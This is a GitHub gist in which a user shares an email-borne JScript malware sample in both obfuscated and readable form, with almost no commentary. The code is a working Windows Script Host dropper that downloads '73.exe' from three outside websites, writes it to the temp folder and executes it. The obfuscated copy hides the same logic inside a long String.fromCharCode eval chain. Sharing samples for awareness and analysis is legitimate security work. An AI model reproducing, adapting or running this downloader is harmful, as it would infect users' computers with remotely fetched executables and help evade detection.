Skip to content

Instantly share code, notes, and snippets.

@steko
Last active November 26, 2015 23:14
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save steko/4ea35122c09885e1f28c to your computer and use it in GitHub Desktop.
Save steko/4ea35122c09885e1f28c to your computer and use it in GitHub Desktop.
A malware I received twice via email today (original and deobfuscated)
var b = "avonkatalogonline.com/wp-includes/images/wlw/73.exe? austindesignminds.com/wp-includes/fonts/73.exe? aviationtimesmagazine.com/wm/73.exe?".split(" ");
var sdf =((1/*s147197542596n663469uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
var ws = WScript.CreateObject(sdf);
var fd = "%TEMP%\\";
var fn = ws.ExpandEnvironmentStrings(fd);
var bim = "2.XMLH";
var poh = bim + "TTP";
var as = true , sdfs = "ADOD";
var xo = WScript.CreateObject("MS"+"XML"+(12453, poh));
var xa = WScript.CreateObject(sdfs + "B.St"+(966468, "ream"));
var ld = 0;
var n = 1;
for (var i=ld; i<b.length; i++) {
var dn = 0;
try {
poi = "GET";
xo.open(poi,"http://"+b[i]+n, false); xo.send(); if (xo.status == 100+100) {
xa.open(); xa.type = 1; xa.write(xo.responseBody); if (xa.size > 2000-1000) {
dn = 1; xa.position = 0; xa.saveToFile/*d139845s*/(fn/*d8816s*/+n+".exe",4-2); try {
if (((new Date())>0,7318264888)) {
ws./*d634667s*/Run(fn+n+/*d636655s*/".exe",/*d697068s*/3-2,0);
break;
}
}
catch (er) {
};
}; xa.close();
};
if (dn == 1) {
ld = i; break;
};
}
catch (er) {
};
};
function p(wQhYjvtPoV){return String.fromCharCode(wQhYjvtPoV)} eval(p(13)+p(10)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(98)+p(32)+p(61)+p(32)+p(34)+p(97)+p(118)+p(111)+p(110)+p(107)+p(97)+p(116)+p(97)+p(108)+p(111)+p(103)+p(111)+p(110)+p(108)+p(105)+p(110)+p(101)+p(46)+p(99)+p(111)+p(109)+p(47)+p(119)+p(112)+p(45)+p(105)+p(110)+p(99)+p(108)+p(117)+p(100)+p(101)+p(115)+p(47)+p(105)+p(109)+p(97)+p(103)+p(101)+p(115)+p(47)+p(119)+p(108)+p(119)+p(47)+p(55)+p(51)+p(46)+p(101)+p(120)+p(101)+p(63)+p(32)+p(97)+p(117)+p(115)+p(116)+p(105)+p(110)+p(100)+p(101)+p(115)+p(105)+p(103)+p(110)+p(109)+p(105)+p(110)+p(100)+p(115)+p(46)+p(99)+p(111)+p(109)+p(47)+p(119)+p(112)+p(45)+p(105)+p(110)+p(99)+p(108)+p(117)+p(100)+p(101)+p(115)+p(47)+p(102)+p(111)+p(110)+p(116)+p(115)+p(47)+p(55)+p(51)+p(46)+p(101)+p(120)+p(101)+p(63)+p(32)+p(97)+p(118)+p(105)+p(97)+p(116)+p(105)+p(111)+p(110)+p(116)+p(105)+p(109)+p(101)+p(115)+p(109)+p(97)+p(103)+p(97)+p(122)+p(105)+p(110)+p(101)+p(46)+p(99)+p(111)+p(109)+p(47)+p(119)+p(109)+p(47)+p(55)+p(51)+p(46)+p(101)+p(120)+p(101)+p(63)+p(34)+p(46)+p(115)+p(112)+p(108)+p(105)+p(116)+p(40)+p(34)+p(32)+p(34)+p(41)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(115)+p(100)+p(102)+p(32)+p(61)+p(40)+p(40)+p(49)+p(47)+p(42)+p(115)+p(49)+p(52)+p(55)+p(49)+p(57)+p(55)+p(53)+p(52)+p(50)+p(53)+p(57)+p(54)+p(110)+p(54)+p(54)+p(51)+p(52)+p(54)+p(57)+p(117)+p(77)+p(51)+p(53)+p(52)+p(49)+p(57)+p(51)+p(101)+p(79)+p(105)+p(90)+p(42)+p(47)+p(41)+p(63)+p(34)+p(87)+p(83)+p(99)+p(114)+p(105)+p(34)+p(58)+p(34)+p(34)+p(41)+p(43)+p(34)+p(112)+p(116)+p(46)+p(83)+p(104)+p(101)+p(108)+p(108)+p(34)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(119)+p(115)+p(32)+p(61)+p(32)+p(87)+p(83)+p(99)+p(114)+p(105)+p(112)+p(116)+p(46)+p(67)+p(114)+p(101)+p(97)+p(116)+p(101)+p(79)+p(98)+p(106)+p(101)+p(99)+p(116)+p(40)+p(115)+p(100)+p(102)+p(41)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(102)+p(100)+p(32)+p(61)+p(32)+p(34)+p(37)+p(84)+p(69)+p(77)+p(80)+p(37)+p(92)+p(92)+p(34)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(102)+p(110)+p(32)+p(61)+p(32)+p(119)+p(115)+p(46)+p(69)+p(120)+p(112)+p(97)+p(110)+p(100)+p(69)+p(110)+p(118)+p(105)+p(114)+p(111)+p(110)+p(109)+p(101)+p(110)+p(116)+p(83)+p(116)+p(114)+p(105)+p(110)+p(103)+p(115)+p(40)+p(102)+p(100)+p(41)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(98)+p(105)+p(109)+p(32)+p(61)+p(32)+p(34)+p(50)+p(46)+p(88)+p(77)+p(76)+p(72)+p(34)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(112)+p(111)+p(104)+p(32)+p(61)+p(32)+p(98)+p(105)+p(109)+p(32)+p(43)+p(32)+p(34)+p(84)+p(84)+p(80)+p(34)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(97)+p(115)+p(32)+p(61)+p(32)+p(116)+p(114)+p(117)+p(101)+p(32)+p(32)+p(44)+p(32)+p(115)+p(100)+p(102)+p(115)+p(32)+p(61)+p(32)+p(34)+p(65)+p(68)+p(79)+p(68)+p(34)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(120)+p(111)+p(32)+p(61)+p(32)+p(87)+p(83)+p(99)+p(114)+p(105)+p(112)+p(116)+p(46)+p(67)+p(114)+p(101)+p(97)+p(116)+p(101)+p(79)+p(98)+p(106)+p(101)+p(99)+p(116)+p(40)+p(34)+p(77)+p(83)+p(34)+p(43)+p(34)+p(88)+p(77)+p(76)+p(34)+p(43)+p(40)+p(49)+p(50)+p(52)+p(53)+p(51)+p(44)+p(32)+p(112)+p(111)+p(104)+p(41)+p(41)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(120)+p(97)+p(32)+p(61)+p(32)+p(87)+p(83)+p(99)+p(114)+p(105)+p(112)+p(116)+p(46)+p(67)+p(114)+p(101)+p(97)+p(116)+p(101)+p(79)+p(98)+p(106)+p(101)+p(99)+p(116)+p(40)+p(115)+p(100)+p(102)+p(115)+p(32)+p(43)+p(32)+p(34)+p(66)+p(46)+p(83)+p(116)+p(34)+p(43)+p(40)+p(57)+p(54)+p(54)+p(52)+p(54)+p(56)+p(44)+p(32)+p(34)+p(114)+p(101)+p(97)+p(109)+p(34)+p(41)+p(41)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(108)+p(100)+p(32)+p(61)+p(32)+p(48)+p(59)+p(13)+p(10)+p(118)+p(97)+p(114)+p(32)+p(110)+p(32)+p(61)+p(32)+p(49)+p(59)+p(13)+p(10)+p(102)+p(111)+p(114)+p(32)+p(40)+p(118)+p(97)+p(114)+p(32)+p(105)+p(61)+p(108)+p(100)+p(59)+p(32)+p(105)+p(60)+p(98)+p(46)+p(108)+p(101)+p(110)+p(103)+p(116)+p(104)+p(59)+p(32)+p(105)+p(43)+p(43)+p(41)+p(32)+p(32)+p(123)+p(13)+p(10)+p(32)+p(32)+p(118)+p(97)+p(114)+p(32)+p(100)+p(110)+p(32)+p(61)+p(32)+p(48)+p(59)+p(13)+p(10)+p(32)+p(32)+p(116)+p(114)+p(121)+p(32)+p(32)+p(123)+p(13)+p(10)+p(9)+p(112)+p(111)+p(105)+p(32)+p(61)+p(32)+p(34)+p(71)+p(69)+p(84)+p(34)+p(59)+p(9)+p(32)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(120)+p(111)+p(46)+p(111)+p(112)+p(101)+p(110)+p(40)+p(112)+p(111)+p(105)+p(44)+p(34)+p(104)+p(116)+p(116)+p(112)+p(58)+p(47)+p(47)+p(34)+p(43)+p(98)+p(91)+p(105)+p(93)+p(43)+p(110)+p(44)+p(32)+p(102)+p(97)+p(108)+p(115)+p(101)+p(41)+p(59)+p(32)+p(120)+p(111)+p(46)+p(115)+p(101)+p(110)+p(100)+p(40)+p(41)+p(59)+p(32)+p(105)+p(102)+p(32)+p(40)+p(120)+p(111)+p(46)+p(115)+p(116)+p(97)+p(116)+p(117)+p(115)+p(32)+p(61)+p(61)+p(32)+p(49)+p(48)+p(48)+p(43)+p(49)+p(48)+p(48)+p(41)+p(32)+p(32)+p(123)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(120)+p(97)+p(46)+p(111)+p(112)+p(101)+p(110)+p(40)+p(41)+p(59)+p(32)+p(120)+p(97)+p(46)+p(116)+p(121)+p(112)+p(101)+p(32)+p(61)+p(32)+p(49)+p(59)+p(32)+p(120)+p(97)+p(46)+p(119)+p(114)+p(105)+p(116)+p(101)+p(40)+p(120)+p(111)+p(46)+p(114)+p(101)+p(115)+p(112)+p(111)+p(110)+p(115)+p(101)+p(66)+p(111)+p(100)+p(121)+p(41)+p(59)+p(32)+p(105)+p(102)+p(32)+p(40)+p(120)+p(97)+p(46)+p(115)+p(105)+p(122)+p(101)+p(32)+p(62)+p(32)+p(50)+p(48)+p(48)+p(48)+p(45)+p(49)+p(48)+p(48)+p(48)+p(41)+p(32)+p(32)+p(123)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(100)+p(110)+p(32)+p(61)+p(32)+p(49)+p(59)+p(32)+p(120)+p(97)+p(46)+p(112)+p(111)+p(115)+p(105)+p(116)+p(105)+p(111)+p(110)+p(32)+p(61)+p(32)+p(48)+p(59)+p(32)+p(120)+p(97)+p(46)+p(115)+p(97)+p(118)+p(101)+p(84)+p(111)+p(70)+p(105)+p(108)+p(101)+p(47)+p(42)+p(100)+p(49)+p(51)+p(57)+p(56)+p(52)+p(53)+p(115)+p(42)+p(47)+p(40)+p(102)+p(110)+p(47)+p(42)+p(100)+p(56)+p(56)+p(49)+p(54)+p(115)+p(42)+p(47)+p(43)+p(110)+p(43)+p(34)+p(46)+p(101)+p(120)+p(101)+p(34)+p(44)+p(52)+p(45)+p(50)+p(41)+p(59)+p(32)+p(116)+p(114)+p(121)+p(32)+p(32)+p(123)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(105)+p(102)+p(32)+p(40)+p(40)+p(40)+p(110)+p(101)+p(119)+p(32)+p(68)+p(97)+p(116)+p(101)+p(40)+p(41)+p(41)+p(62)+p(48)+p(44)+p(55)+p(51)+p(49)+p(56)+p(50)+p(54)+p(52)+p(56)+p(56)+p(56)+p(41)+p(41)+p(32)+p(123)+p(13)+p(10)+p(9)+p(9)+p(32)+p(32)+p(32)+p(32)+p(119)+p(115)+p(46)+p(47)+p(42)+p(100)+p(54)+p(51)+p(52)+p(54)+p(54)+p(55)+p(115)+p(42)+p(47)+p(82)+p(117)+p(110)+p(40)+p(102)+p(110)+p(43)+p(110)+p(43)+p(47)+p(42)+p(100)+p(54)+p(51)+p(54)+p(54)+p(53)+p(53)+p(115)+p(42)+p(47)+p(34)+p(46)+p(101)+p(120)+p(101)+p(34)+p(44)+p(47)+p(42)+p(100)+p(54)+p(57)+p(55)+p(48)+p(54)+p(56)+p(115)+p(42)+p(47)+p(51)+p(45)+p(50)+p(44)+p(48)+p(41)+p(59)+p(32)+p(13)+p(10)+p(9)+p(9)+p(32)+p(32)+p(32)+p(32)+p(98)+p(114)+p(101)+p(97)+p(107)+p(59)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(125)+p(13)+p(10)+p(9)+p(9)+p(125)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(99)+p(97)+p(116)+p(99)+p(104)+p(32)+p(40)+p(101)+p(114)+p(41)+p(32)+p(32)+p(123)+p(13)+p(10)+p(9)+p(9)+p(125)+p(59)+p(32)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(125)+p(59)+p(32)+p(120)+p(97)+p(46)+p(99)+p(108)+p(111)+p(115)+p(101)+p(40)+p(41)+p(59)+p(32)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(125)+p(59)+p(32)+p(13)+p(10)+p(9)+p(105)+p(102)+p(32)+p(40)+p(100)+p(110)+p(32)+p(61)+p(61)+p(32)+p(49)+p(41)+p(32)+p(32)+p(123)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(32)+p(32)+p(108)+p(100)+p(32)+p(61)+p(32)+p(105)+p(59)+p(32)+p(98)+p(114)+p(101)+p(97)+p(107)+p(59)+p(32)+p(13)+p(10)+p(32)+p(32)+p(32)+p(32)+p(125)+p(59)+p(32)+p(13)+p(10)+p(32)+p(32)+p(125)+p(13)+p(10)+p(32)+p(32)+p(99)+p(97)+p(116)+p(99)+p(104)+p(32)+p(40)+p(101)+p(114)+p(41)+p(32)+p(32)+p(123)+p(32)+p(13)+p(10)+p(32)+p(32)+p(125)+p(59)+p(32)+p(13)+p(10)+p(125)+p(59)+p(32)+p(13)+p(10)+p(13)+p(10)+p(13))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment